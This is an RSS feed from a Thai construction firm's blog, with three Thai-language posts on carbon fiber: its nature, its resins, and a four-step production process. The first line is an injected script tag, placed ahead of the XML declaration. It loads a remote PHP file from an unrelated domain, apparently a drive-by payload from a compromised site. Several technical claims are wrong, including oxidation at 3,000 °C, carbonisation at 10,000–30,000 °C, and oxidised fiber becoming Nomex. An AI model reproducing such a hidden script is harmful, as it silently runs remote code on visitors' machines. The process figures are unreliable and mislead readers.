<script src=http://weddingunion.co.kr/tjkms/2814482897.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>REPCON SERVICE Blog</title>
	<atom:link href="http://www.repconservice.com/blog/feed" rel="self" type="application/rss+xml" />
	<link>http://www.repconservice.com/blog</link>
	<description>Thailand Construction Specialist</description>
	<pubDate>Wed, 01 Apr 2009 09:30:41 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>การผลิต Carbon Fiber</title>
		<link>http://www.repconservice.com/blog/carbon-fiber/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%9c%e0%b8%a5%e0%b8%b4%e0%b8%95-carbon-fiber</link>
		<comments>http://www.repconservice.com/blog/carbon-fiber/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%9c%e0%b8%a5%e0%b8%b4%e0%b8%95-carbon-fiber#comments</comments>
		<pubDate>Wed, 01 Apr 2009 09:29:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Carbon Fiber]]></category>

		<category><![CDATA[Carbon]]></category>

		<category><![CDATA[Epoxy]]></category>

		<category><![CDATA[Fiber]]></category>

		<category><![CDATA[Polyacrylonitrile]]></category>

		<guid isPermaLink="false">http://www.repconservice.com/blog/?p=159</guid>
		<description><![CDATA[Carbon Fiber ตามความเป็นจริงแล้วนั้น มีพื้นฐานมาจากพลาสติกธรรมดาทั่วไป ที่เราสามารถพบเห็นกันทุกวันนี้ได้ตามปกติทั่วไป เพราะสารตัวนี้ แท้ที่จริงแล้วมันคือ &#8220;Polyacrylonitrile&#8221; (โพลิอะคลิโลไนไทรล์) หรือที่เรียกย่อๆได้ว่า Polyacrylonitrile


ซึ่ง Polyacrylonitrile นี้ก็คือต้นกำเนิดที่นิยมเอามาใช้ในการผลิตผ้าที่นิยมเรียกว่า &#8220;ผ้าเรยอง&#8221; โดยจะเอาสารโมเลกุลที่ไม่มีความแข็งแกร่งเหล่านี้ มาทำการเปลี่ยนแปลงการเรียงลำดับของโครงสร้าง โดยใช้กระบวนการทางเคมีกันใหม่ทั้งหมด
ซึ่งขั้นตอนในส่วนของการผลิตให้ออกมาเป็นเส้นใย Carbon Fiberจากสารประกอบที่เรียกว่า Polyacrylonitrile นั้นมี 4 ขั้นตอนดังนี้
ขั้นตอนที่ 1 การทำ Oxidation
ขั้นตอนนี้คือขั้นตอนที่เอาพวกเส้นใย Polyacrylonitrile มาทำการเผาที่ความร้อนอุณภูมิสูงมากถึงไม่ต่ำกว่า 3,000 องศาเซลเซียส จนเป็นผลทำให้พวกเส้นใย Polyacrylonitrile เปลี่ยนจากที่มีสีขาวกลายสภาพมาเป็นสีดำ
โดยมีข้อแม้ว่า จะต้องทำการเผาให้ทั่ว จนถึงส่วนที่เรียกได้ว่าลึกที่สุดของเส้นใย Polyacrylonitrile เลยทีเดียว เมื่อจบการเผาในขั้นตอนนี้ เราก็จะได้ผ้าอีกแบบที่เรียกว่า &#8220;Nomex&#8221; หรือผ้าที่เรานิยมเอามาทำพวกเสื้อกันไฟได้

ขั้นตอนที่ 2 การทำ Carbonisation 
ขั้นตอนนี้จะเป็นการแยกพวกธาตุที่มีอยู่ทุกชนิดที่ไม่ใช้ Carbon Fiber ออกมาจากเส้นใย Polyacrylonitrile ให้หมดสิ้น โดยใช้วิธีแยกแบบง่ายๆ แต่ไม่ธรรมดา นั้นก็คือการจับเอาไปเผาที่ความร้อนกว่าเดิมขึ้นไปอีก จนถึง 10,000-30,000 [...]]]></description>
			<content:encoded><![CDATA[<p><a title="Carbon Fiber" rel="nofollow" href="../../concrete-repair-project2.html">Carbon Fiber</a> ตามความเป็นจริงแล้วนั้น มีพื้นฐานมาจากพลาสติกธรรมดาทั่วไป ที่เราสามารถพบเห็นกันทุกวันนี้ได้ตามปกติทั่วไป เพราะสารตัวนี้ แท้ที่จริงแล้วมันคือ &#8220;<a href="http://www.repconservice.com/blog/tag/polyacrylonitrile" class="st_tag internal_tag" rel="tag" title="Posts tagged with Polyacrylonitrile">Polyacrylonitrile</a>&#8221; (โพลิอะคลิโลไนไทรล์) หรือที่เรียกย่อๆได้ว่า <a href="http://www.repconservice.com/blog/tag/polyacrylonitrile" class="st_tag internal_tag" rel="tag" title="Posts tagged with Polyacrylonitrile">Polyacrylonitrile</a></p>
<p><img class="aligncenter" title="Carbon Fiber" src="http://www.engineeringfiber.com/tu/20071025105227653.jpg" alt="" width="286" height="214" /></p>
<p><span id="more-159"></span></p>
<p>ซึ่ง <a href="http://www.repconservice.com/blog/tag/polyacrylonitrile" class="st_tag internal_tag" rel="tag" title="Posts tagged with Polyacrylonitrile">Polyacrylonitrile</a> นี้ก็คือต้นกำเนิดที่นิยมเอามาใช้ในการผลิตผ้าที่นิยมเรียกว่า &#8220;ผ้าเรยอง&#8221; โดยจะเอาสารโมเลกุลที่ไม่มีความแข็งแกร่งเหล่านี้ มาทำการเปลี่ยนแปลงการเรียงลำดับของโครงสร้าง โดยใช้กระบวนการทางเคมีกันใหม่ทั้งหมด<br />
ซึ่งขั้นตอนในส่วนของการผลิตให้ออกมาเป็นเส้นใย <a title="Carbon Fiber" rel="nofollow" href="../../concrete-repair-project2.html">Carbon Fiber</a>จากสารประกอบที่เรียกว่า <a href="http://www.repconservice.com/blog/tag/polyacrylonitrile" class="st_tag internal_tag" rel="tag" title="Posts tagged with Polyacrylonitrile">Polyacrylonitrile</a> นั้นมี 4 ขั้นตอนดังนี้</p>
<p><strong>ขั้นตอนที่ 1 การทำ Oxidation</strong><br />
ขั้นตอนนี้คือขั้นตอนที่เอาพวกเส้นใย <a href="http://www.repconservice.com/blog/tag/polyacrylonitrile" class="st_tag internal_tag" rel="tag" title="Posts tagged with Polyacrylonitrile">Polyacrylonitrile</a> มาทำการเผาที่ความร้อนอุณภูมิสูงมากถึงไม่ต่ำกว่า 3,000 องศาเซลเซียส จนเป็นผลทำให้พวกเส้นใย <a href="http://www.repconservice.com/blog/tag/polyacrylonitrile" class="st_tag internal_tag" rel="tag" title="Posts tagged with Polyacrylonitrile">Polyacrylonitrile</a> เปลี่ยนจากที่มีสีขาวกลายสภาพมาเป็นสีดำ<br />
โดยมีข้อแม้ว่า จะต้องทำการเผาให้ทั่ว จนถึงส่วนที่เรียกได้ว่าลึกที่สุดของเส้นใย <a href="http://www.repconservice.com/blog/tag/polyacrylonitrile" class="st_tag internal_tag" rel="tag" title="Posts tagged with Polyacrylonitrile">Polyacrylonitrile</a> เลยทีเดียว เมื่อจบการเผาในขั้นตอนนี้ เราก็จะได้ผ้าอีกแบบที่เรียกว่า &#8220;Nomex&#8221; หรือผ้าที่เรานิยมเอามาทำพวกเสื้อกันไฟได้</p>
<p><img class="aligncenter" title="Carbon Fiber" src="http://www.cirris.com/data/images/oxidation-325.jpg" alt="" width="325" height="352" /></p>
<p><strong>ขั้นตอนที่ 2 การทำ Carbonisation </strong><br />
ขั้นตอนนี้จะเป็นการแยกพวกธาตุที่มีอยู่ทุกชนิดที่ไม่ใช้ <a title="Carbon Fiber" rel="nofollow" href="../../concrete-repair-project2.html">Carbon Fiber</a> ออกมาจากเส้นใย <a href="http://www.repconservice.com/blog/tag/polyacrylonitrile" class="st_tag internal_tag" rel="tag" title="Posts tagged with Polyacrylonitrile">Polyacrylonitrile</a> ให้หมดสิ้น โดยใช้วิธีแยกแบบง่ายๆ แต่ไม่ธรรมดา นั้นก็คือการจับเอาไปเผาที่ความร้อนกว่าเดิมขึ้นไปอีก จนถึง 10,000-30,000 องศาเซลเซียส<br />
ในบรรยากาศที่มีแต่ก๊าซไนโตรเจนด้วยการควบคุมความดันที่สูงมาก แต่ไม่ใช่ที่ชั้นบรรยากาศโลก หรือสภาพสูญญากาศ โดยขั้นตอนนี้นั้น ยิ่งหากเราเผาที่ความร้อนสูงเท่าไร <a title="Carbon Fiber" rel="nofollow" href="../../concrete-repair-project2.html">Carbon Fiber</a> ก็จะยิ่งมีความแข็งแรงได้มากยิ่งขึ้นเท่านั้น</p>
<p><img class="aligncenter" title="Carbon Fiber" src="http://www.btgworld.com/uploads/images/RTD-Carbonisation-Test-new.jpg" alt="" width="312" height="295" /></p>
<p><strong>ขั้นตอนที่ 3 การทำ Surface Treatment </strong><br />
นั้นก็คือการทำการเคลือบผิวส่วนหน้าของเส้นใยผ้า ให้สามารถจับรวมตัวกันออกมา จนดูแล้วเป็นเส้นใยที่มีขนาดใหญ่ขึ้นได้ เพื่อที่จะได้ <a title="Carbon Fiber" rel="nofollow" href="../../concrete-repair-project2.html">Carbon Fiber</a> นำไปใช้งานได้จริง โดยการเคลือบทีนี้ เราจะใช้สารประกอบที่มีชื่อว่า &#8220;โพลิเมอร์&#8221; ควบคู่ลงไปด้วย<br />
ซึ่งคุณสมบัติของสารนี้ จะทำให้ตัวโมเลกุลของผ้าสามารถยึดเกาะโครงสร้างเล็กๆ ให้สามารถมีสภาพคงทนรูปอยู่ได้ และทำให้ตัวเส้นใยมีความแข็งแรงได้มากยิ่งขึ้นไปอีก แต่หากขั้นตอนนี้ เราทำการเคลือบไม่ดี เวลานำเส้นใยไปใช้งานจริงๆก็อาจจะมีโพรงอากาศเกิดขึ้นได้ และสุดท้ายก็จะทำให้โครงสร้างโดยรวมไม่แข็งแรง หรือเปราะบางนั้นเอง</p>
<p><img class="aligncenter" title="Carbon Fiber" src="http://cernenviro.web.cern.ch/cernenviro/docenviro_img/4aspect/_images_aspect/images-s04c04water/Traitement_de_surface_2_L.jpg" alt="" width="370" height="277" /></p>
<p><strong>ขั้นตอนที่ 4 การทำ Surface Coating</strong><br />
หรือที่เรียกว่าเป็นการเอา <a href="http://www.repconservice.com/blog/tag/epoxy" class="st_tag internal_tag" rel="tag" title="Posts tagged with Epoxy">Epoxy</a> มาทำการเคลือบผิวของผ้าลงไปอีกชั้น เพื่อให้เราสามารถนำผ้าไปใช้งานจริงๆได้โดยที่จะไม่มีการหลุดรุ่ยของใยผ้าออกมา เพราะว่าผ้า <a title="Carbon Fiber" rel="nofollow" href="../../concrete-repair-project2.html">Carbon Fiber</a> ที่เรานำมาใช้นั้น ส่วนใหญ่จะอยู่ในรูปแบบที่เป็นผืนผ้า<br />
ที่จะต้องนำมาทำการตัด ตกแต่งให้เรียบร้อยและขึ้นรูปกับแม่พิมพ์ที่ต้องการ แล้วทำการหล่อสารลงไปเพื่อนำไปใช้งานจริงๆอีกที โดยหากขั้นตอนนี้เราทำการเคลือบไว้ไม่ดี ไม่เรียบร้อย ผ้าเส้นใย <a title="Carbon Fiber" rel="nofollow" href="../../concrete-repair-project2.html">Carbon Fiber</a> ก็มีโอกาสสูงมากที่จะหักเป็นเศษเล็กๆ<br />
เศาเล็กๆเหล่านี้หากเราทำการมองด้วยตาเปล่าก็ไม่อาจเห็นได้ และหากเราทำการสูดดมมันเข้าไป ก็จะเป็นต้นเหตุของโรคมะเร็งขั้วปอดซ้ำได้อีกด้วย</p>
<p><img class="aligncenter" title="Carbon Fiber" src="http://www.daviddarling.info/images/selective_surface_coating.jpg" alt="" width="295" height="272" /></p>
<p>เมื่อจบ 4 ขั้นตอนในการผลิตดังกล่าวแล้ว เราก็จะได้ผืนผ้า <a title="Carbon Fiber" rel="nofollow" href="../../concrete-repair-project2.html">Carbon Fiber</a> ซึ่งมีความแข็งแกร่งทนทานกว่าเหล็กแท้ๆ ถึง 5 เท่า (เมื่อทำการเปรียบเทียบกับมวลที่เท่ากัน) นอกจากนี้ยังสามารถทนต่อแรงบิด แรงเค้น และแรงดัดได้สูงอีกมาก<br />
รวมถึงยังมีน้ำหนักโดยรวมที่เบาและมีความหนาแน่นน้อยกว่า ซึ่งหากเราดูที่ความสามารถในเรื่องของการทนทานต่อแรงดึง และแรงต่างๆแล้วละก็ <a title="Carbon Fiber" rel="nofollow" href="../../concrete-repair-project2.html">Carbon Fiber</a> สามารถทนแรงดึงได้มากกว่าโลหะชั้นดีอย่าง Titanium หลายเท่าตัวด้วยซ้ำไป</p>
<p><strong>Related Links<br />
</strong><a title="Carbon Fiber" href="../../concrete-repair-project2.html">Carbon Fiber</a></p>

	<h4>Related posts</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.repconservice.com/blog/carbon-fiber/carbon-fiber-%e0%b8%84%e0%b8%b7%e0%b8%ad%e0%b8%ad%e0%b8%b0%e0%b9%84%e0%b8%a3" title="Carbon Fiber คืออะไร (March 29, 2009)">Carbon Fiber คืออะไร</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/carbon-fiber/%e0%b8%aa%e0%b9%88%e0%b8%a7%e0%b8%99%e0%b8%9b%e0%b8%a3%e0%b8%b0%e0%b8%81%e0%b8%ad%e0%b8%9a-carbon-fiber" title="ส่วนประกอบ Carbon Fiber (March 29, 2009)">ส่วนประกอบ Carbon Fiber</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.repconservice.com/blog/carbon-fiber/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%9c%e0%b8%a5%e0%b8%b4%e0%b8%95-carbon-fiber/feed</wfw:commentRss>
		</item>
		<item>
		<title>ส่วนประกอบ Carbon Fiber</title>
		<link>http://www.repconservice.com/blog/carbon-fiber/%e0%b8%aa%e0%b9%88%e0%b8%a7%e0%b8%99%e0%b8%9b%e0%b8%a3%e0%b8%b0%e0%b8%81%e0%b8%ad%e0%b8%9a-carbon-fiber</link>
		<comments>http://www.repconservice.com/blog/carbon-fiber/%e0%b8%aa%e0%b9%88%e0%b8%a7%e0%b8%99%e0%b8%9b%e0%b8%a3%e0%b8%b0%e0%b8%81%e0%b8%ad%e0%b8%9a-carbon-fiber#comments</comments>
		<pubDate>Sat, 28 Mar 2009 22:56:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Carbon Fiber]]></category>

		<category><![CDATA[Carbon]]></category>

		<guid isPermaLink="false">http://www.repconservice.com/blog/?p=153</guid>
		<description><![CDATA[ทำไม Carbon Fiber นั้นมันถึงแข็งแรง แข็งแกร่ง และดูดโดดเด่นกว่าวัสดุน้ำหนักเบา ทนทานกว่าวัสดุประเภทอื่นๆ?
เนื่องมาจากการอาศัยการจัดเรียงตัวของโมเลกุลธาตุใน Carbon นั้นแหละ ที่เปรียบได้เหมือนกับถ่านก็คือ Carbon ชนิดหนึ่ง แต่กลับมีความคงทนไม่เท่ากันกับ &#8220;เพชร&#8221; ที่เป็นธาตุ Carbon เหมือนกัน นั้นก็เป็นเพราะการจัดเรียงตัวกัน ในส่วนระดับของโมเลกุลธาตุ Carbon ที่อุณหภูมิแตกต่างอย่างสิ้นเชิงกันนั้นเอง


คราวนี้เมื่อเราได้ผืนผ้า Carbon Fiber มาแล้ว ก็จะตามมาถึงขั้นตอนการนำไปใช้งานจริงๆ  ซึ่งขั้นตอนก็จะมีความคล้ายๆ กับการนำที่เราเส้นใยแบบ fiber-glass มาใช้งานนั้นแหละ เพียงแต่ว่าเรซินที่เราเอามาใช้งานผลิตให้กับ Carbon Fiber นั้น มักจะมีความแตกต่างอย่างชัดเจน
โดยเฉพาะกับน้ำยาที่เราใช้ผลิตในงานไฟเบอร์ที่นิยมทั่วไป เพราะว่าทางโรงงานผู้ผลิตอุตสาหกรรมผืนผ้า Carbon Fiber นั้น มักนิยมที่จะขายผืนผ้า Carbon Fiber มาพร้อมๆกับน้ำยาเรซินทีเดียว และตัวสารทำ Hardener (น้ำยาที่มีสารทำให้แข็ง) ซึ่งสารนี้มันเป็นคนละชนิดกับที่เราเอามาใช้ในงานไฟเบอร์กลาสทั่วๆไป

นอกจากเรื่องของน้ำยาที่มีความแตกต่างกันแล้ว การที่เราจะนำเอา Carbon Fiber นำไปขึ้นรูปออกมานั้น ก่อนอื่นเราจำเป็นที่จะต้องทำการอบ หรือให้ความร้อนตาม spec อุณภูมิหรือเกรด และตามจำนวนชั้นนั้นๆของ [...]]]></description>
			<content:encoded><![CDATA[<p>ทำไม <a title="Carbon Fiber" rel="nofollow" href="../../concrete-repair-project2.html">Carbon Fiber</a> นั้นมันถึงแข็งแรง แข็งแกร่ง และดูดโดดเด่นกว่าวัสดุน้ำหนักเบา ทนทานกว่าวัสดุประเภทอื่นๆ?</p>
<p>เนื่องมาจากการอาศัยการจัดเรียงตัวของโมเลกุลธาตุใน <a title="Carbon Fiber" rel="nofollow" href="../../concrete-repair-project2.html">Carbon</a> นั้นแหละ ที่เปรียบได้เหมือนกับถ่านก็คือ <strong><a href="http://www.repconservice.com/blog/tag/carbon" class="st_tag internal_tag" rel="tag" title="Posts tagged with Carbon">Carbon</a> </strong>ชนิดหนึ่ง แต่กลับมีความคงทนไม่เท่ากันกับ &#8220;เพชร&#8221; ที่เป็นธาตุ <a title="Carbon Fiber" rel="nofollow" href="../../concrete-repair-project2.html">Carbon</a> เหมือนกัน นั้นก็เป็นเพราะการจัดเรียงตัวกัน ในส่วนระดับของโมเลกุลธาตุ <a title="Carbon Fiber" rel="nofollow" href="../../concrete-repair-project2.html">Carbon</a> ที่อุณหภูมิแตกต่างอย่างสิ้นเชิงกันนั้นเอง</p>
<p><span id="more-153"></span></p>
<p><img class="aligncenter" title="Carbon Fiber " src="http://www.zerotohundred.com/wp-content/uploads/2008/03/carbon-fiber-toilet.jpg" alt="" width="530" height="423" /></p>
<p>คราวนี้เมื่อเราได้ผืนผ้า <a title="Carbon Fiber" rel="nofollow" href="../../concrete-repair-project2.html">Carbon Fiber</a> มาแล้ว ก็จะตามมาถึงขั้นตอนการนำไปใช้งานจริงๆ  ซึ่งขั้นตอนก็จะมีความคล้ายๆ กับการนำที่เราเส้นใยแบบ <a href="http://www.repconservice.com/blog/tag/fiber" class="st_tag internal_tag" rel="tag" title="Posts tagged with Fiber">fiber</a>-glass มาใช้งานนั้นแหละ เพียงแต่ว่าเรซินที่เราเอามาใช้งานผลิตให้กับ <a title="Carbon Fiber" rel="nofollow" href="../../concrete-repair-project2.html">Carbon Fiber</a> นั้น มักจะมีความแตกต่างอย่างชัดเจน<br />
โดยเฉพาะกับน้ำยาที่เราใช้ผลิตในงานไฟเบอร์ที่นิยมทั่วไป เพราะว่าทางโรงงานผู้ผลิตอุตสาหกรรมผืนผ้า <a title="Carbon Fiber" rel="nofollow" href="../../concrete-repair-project2.html">Carbon Fiber</a> นั้น มักนิยมที่จะขายผืนผ้า <a title="Carbon Fiber" rel="nofollow" href="../../concrete-repair-project2.html">Carbon Fiber</a> มาพร้อมๆกับน้ำยาเรซินทีเดียว และตัวสารทำ Hardener (น้ำยาที่มีสารทำให้แข็ง) ซึ่งสารนี้มันเป็นคนละชนิดกับที่เราเอามาใช้ในงานไฟเบอร์กลาสทั่วๆไป</p>
<p><img class="aligncenter" title="Carbon Fiber" src="http://www.modbargains.com/images/Products/Rieger/carbon_fiber_weave.jpg" alt="" width="384" height="327" /></p>
<p>นอกจากเรื่องของน้ำยาที่มีความแตกต่างกันแล้ว การที่เราจะนำเอา <a title="Carbon Fiber" rel="nofollow" href="../../concrete-repair-project2.html">Carbon Fiber</a> นำไปขึ้นรูปออกมานั้น ก่อนอื่นเราจำเป็นที่จะต้องทำการอบ หรือให้ความร้อนตาม spec อุณภูมิหรือเกรด และตามจำนวนชั้นนั้นๆของ <a title="Carbon Fiber" rel="nofollow" href="../../concrete-repair-project2.html">Carbon Fiber</a> ตามที่โรงงานผู้ผลิตกำหนดไว้อย่างเคร่งขรัด มิฉะนั้น <a title="Carbon Fiber" rel="nofollow" href="../../concrete-repair-project2.html">Carbon Fiber</a> ออกมาจะไม่ได้ความแข็งแรงเทียบเท่ากับมาตรฐานที่กำหนดไว้</p>
<p style="text-align: center;"><object width="480" height="295" data="http://www.youtube.com/v/k_STx3SNtyE&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/k_STx3SNtyE&amp;hl=en&amp;fs=1" /><param name="allowfullscreen" value="true" /></object></p>
<p><strong>Related Links<br />
</strong><a title="Carbon Fiber" href="../../concrete-repair-project2.html">Carbon Fiber</a></p>

	<h4>Related posts</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.repconservice.com/blog/carbon-fiber/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%9c%e0%b8%a5%e0%b8%b4%e0%b8%95-carbon-fiber" title="การผลิต Carbon Fiber (April 1, 2009)">การผลิต Carbon Fiber</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/carbon-fiber/carbon-fiber-%e0%b8%84%e0%b8%b7%e0%b8%ad%e0%b8%ad%e0%b8%b0%e0%b9%84%e0%b8%a3" title="Carbon Fiber คืออะไร (March 29, 2009)">Carbon Fiber คืออะไร</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.repconservice.com/blog/carbon-fiber/%e0%b8%aa%e0%b9%88%e0%b8%a7%e0%b8%99%e0%b8%9b%e0%b8%a3%e0%b8%b0%e0%b8%81%e0%b8%ad%e0%b8%9a-carbon-fiber/feed</wfw:commentRss>
		</item>
		<item>
		<title>Carbon Fiber คืออะไร</title>
		<link>http://www.repconservice.com/blog/carbon-fiber/carbon-fiber-%e0%b8%84%e0%b8%b7%e0%b8%ad%e0%b8%ad%e0%b8%b0%e0%b9%84%e0%b8%a3</link>
		<comments>http://www.repconservice.com/blog/carbon-fiber/carbon-fiber-%e0%b8%84%e0%b8%b7%e0%b8%ad%e0%b8%ad%e0%b8%b0%e0%b9%84%e0%b8%a3#comments</comments>
		<pubDate>Sat, 28 Mar 2009 21:16:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Carbon Fiber]]></category>

		<category><![CDATA[Carbon]]></category>

		<category><![CDATA[Fiber]]></category>

		<category><![CDATA[คอนกรีต]]></category>

		<guid isPermaLink="false">http://www.repconservice.com/blog/?p=144</guid>
		<description><![CDATA[วิธีผลิต Carbon Fiber (คาร์บอนไฟเบอร์) จะต้องผลิตจากอะไร ผลิตกันที่ไหน มีกรรมวิธีผลิต Carbon Fiber อย่างไร?
Carbon Fiber นั้นถือได้ว่าเป็นสารประเภท composite material อีกชนิดหนึ่ง ซึ่งนั้นหมายถึงเทคนิคการผสมผสานระหว่างวัสดุที่ใช้ มากกว่า 2 ชนิดขึ้นไปที่มีคุณสมบัติแตกต่างกัน ทำให้ได้วัตสดุผสมที่ซึ่งมีคุณสมบัติรวมออกมาด้วยกันได้
เช่น คอนกรีตเสริมเหล็ก ที่เอามาใช้ในการก่อสร้างอาคาร ผสมขึ้นจากปูนซีเมนต์ที่ซึ่งแกร่ง แต่กลับเปราะ กับอีกตัวนั้นก็คือเหล็ก ซึ่งเหล็กนี้จะมีความเหนียวมากกว่า ดังนั้น สำหรับ Carbon composite นั้นมักนิยมทำจากเส้นใย Carbon ซึ่งมีความแกร่ง (stiff) มากกว่า


และแถมยังทนกับแรงดึงได้สูงโดยที่ไม่เปลี่ยนรูปมรงของมัน และที่สำคัญ มีน้ำหนักเบามาก แต่โคร้งสร้าง Carbon Fiber กลับทนต่อการโค้งงอได้น้อย คล้ายกับการดัดเหล็กเส้นและการหักใส้ดินสอธรรมดา ที่เอามาซ้อนเป็นชั้นๆโดยใช้กาวเช่น กาว epoxy ยึดเข้าไว้ด้วยกัน
เช่นการทำ frame carbon ซึ่งอันที่จริงนั้น จะเป็นการทำด้วยมือ ซึ่งแม้แต่การอกแบบเพื่อทำส่วนของปีกเครื่องบินขนาดใหญ่อย่าง airbus หรือ 747 ซึ่งล้วนแล้วแต่ทำมาจาก [...]]]></description>
			<content:encoded><![CDATA[<p>วิธีผลิต <a title="Carbon Fiber" href="http://www.repconservice.com/concrete-repair-project2.html">Carbon Fiber</a> (คาร์บอนไฟเบอร์) จะต้องผลิตจากอะไร ผลิตกันที่ไหน มีกรรมวิธีผลิต <a title="Carbon Fiber" href="http://www.repconservice.com/concrete-repair-project2.html">Carbon Fiber</a> อย่างไร?</p>
<p><a title="Carbon Fiber" href="http://www.repconservice.com/concrete-repair-project2.html">Carbon Fiber</a> นั้นถือได้ว่าเป็นสารประเภท composite material อีกชนิดหนึ่ง ซึ่งนั้นหมายถึงเทคนิคการผสมผสานระหว่างวัสดุที่ใช้ มากกว่า 2 ชนิดขึ้นไปที่มีคุณสมบัติแตกต่างกัน ทำให้ได้วัตสดุผสมที่ซึ่งมีคุณสมบัติรวมออกมาด้วยกันได้<br />
เช่น คอนกรีตเสริมเหล็ก ที่เอามาใช้ในการก่อสร้างอาคาร ผสมขึ้นจากปูนซีเมนต์ที่ซึ่งแกร่ง แต่กลับเปราะ กับอีกตัวนั้นก็คือเหล็ก ซึ่งเหล็กนี้จะมีความเหนียวมากกว่า ดังนั้น สำหรับ <a title="Carbon Fiber" href="http://www.repconservice.com/concrete-repair-project2.html">Carbon</a> composite นั้นมักนิยมทำจากเส้นใย <a title="Carbon Fiber" href="http://www.repconservice.com/concrete-repair-project2.html">Carbon</a> ซึ่งมีความแกร่ง (stiff) มากกว่า</p>
<p><span id="more-144"></span></p>
<p style="text-align: center;"><img class="aligncenter" title="Carbon Fiber" src="http://www.dynamicfinishes.com/images/Carbon%20Fiber.jpg" alt="" width="300" height="425" /></p>
<p>และแถมยังทนกับแรงดึงได้สูงโดยที่ไม่เปลี่ยนรูปมรงของมัน และที่สำคัญ มีน้ำหนักเบามาก แต่โคร้งสร้าง <a title="Carbon Fiber" href="http://www.repconservice.com/concrete-repair-project2.html">Carbon Fiber</a> กลับทนต่อการโค้งงอได้น้อย คล้ายกับการดัดเหล็กเส้นและการหักใส้ดินสอธรรมดา ที่เอามาซ้อนเป็นชั้นๆโดยใช้กาวเช่น กาว <a href="http://www.repconservice.com/blog/tag/epoxy" class="st_tag internal_tag" rel="tag" title="Posts tagged with Epoxy">epoxy</a> ยึดเข้าไว้ด้วยกัน<br />
เช่นการทำ frame <a href="http://www.repconservice.com/blog/tag/carbon" class="st_tag internal_tag" rel="tag" title="Posts tagged with Carbon">carbon</a> ซึ่งอันที่จริงนั้น จะเป็นการทำด้วยมือ ซึ่งแม้แต่การอกแบบเพื่อทำส่วนของปีกเครื่องบินขนาดใหญ่อย่าง airbus หรือ 747 ซึ่งล้วนแล้วแต่ทำมาจาก <a title="Carbon Fiber" href="http://www.repconservice.com/concrete-repair-project2.html">Carbon</a> ทั้งนั้นด้วยมือเช่นกัน</p>
<p><img class="aligncenter" title="Carbon Fiber" src="http://www.modbargains.com/images/Products/Power%20Slot/Carbon_Fiber_Fabric_Twill_2x2.jpg" alt="" width="323" height="287" /></p>
<p>ทั้งนี้ หากว่ากันตามทฤษฎีส่วนใหญ่แล้ว <a title="Carbon Fiber" href="http://www.repconservice.com/concrete-repair-project2.html">Carbon</a> อาจจะมีความคงทน และแข็งแกร่งไม่เท่าเหล็กหรืออลูมิเนียม แต่มีการทดสอบเป็นจริงเป็นจังกันในประเทศเยอรมันนี โดยทำการทดสอบในสภาพที่จำลองคล้ายการใช้งานจริงๆ โดยมีการใช้ไฮดรอลิกกระแทก <a title="Carbon Fiber" href="http://www.repconservice.com/concrete-repair-project2.html">Carbon Fiber</a> อย่างต่อเนื่อง<br />
หลังจากการทดสอบ เราพบว่า หากมีการออกแบบกันมาเป็นอย่างดีแล้ว เป็นไปได้ว่า <a title="Carbon Fiber" href="http://www.repconservice.com/concrete-repair-project2.html">Carbon Fiber</a> อาจมีความทนที่สุด และดีไม่ดีอาจจะมีความคงทนยิ่งกว่า Titanium ด้วยซ้ำไป โดยพวกเหล็ก อลูมีเนียมและ ไททาเนี่ยมจะไปหักที่รอยเชื่อมต่อ และรูนอตต่างๆที่ขันไว้<br />
แต่ถ้าถึงจุดพังแล้ว <a title="Carbon Fiber" href="http://www.repconservice.com/concrete-repair-project2.html">Carbon Fiber</a> จะหักเลย โดยที่โคร้งสร้างไม่มีการงอก่อน</p>
<p><img class="aligncenter" title="Carbon Fiber" src="http://www.carzi.com/wp-content/uploads/weds-sport-carbon-fiber-wheel.jpg" alt="" width="500" height="499" /></p>
<p>เคยได้ยินข่าวว่าที่จับจักรยานเสื้อภูเขา ที่ทำจาก <a title="Carbon Fiber" href="http://www.repconservice.com/concrete-repair-project2.html">Carbon Fiber</a> เกิดหักระหว่างลงเขาแบบดาว์นฮิล คนขี่หน้าได้รับบาดเจ็บสาหัส ก็ยังค้นกันไม่พบว่า จะเริ่มตรวจพบการเสื่อมสถาพของ <a title="Carbon Fiber" href="http://www.repconservice.com/concrete-repair-project2.html">Carbon Fiber</a> ได้อย่างไร?</p>
<p style="text-align: center;"><object width="425" height="344" data="http://www.youtube.com/v/nzVJL1taLg0&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/nzVJL1taLg0&amp;hl=en&amp;fs=1" /><param name="allowfullscreen" value="true" /></object></p>
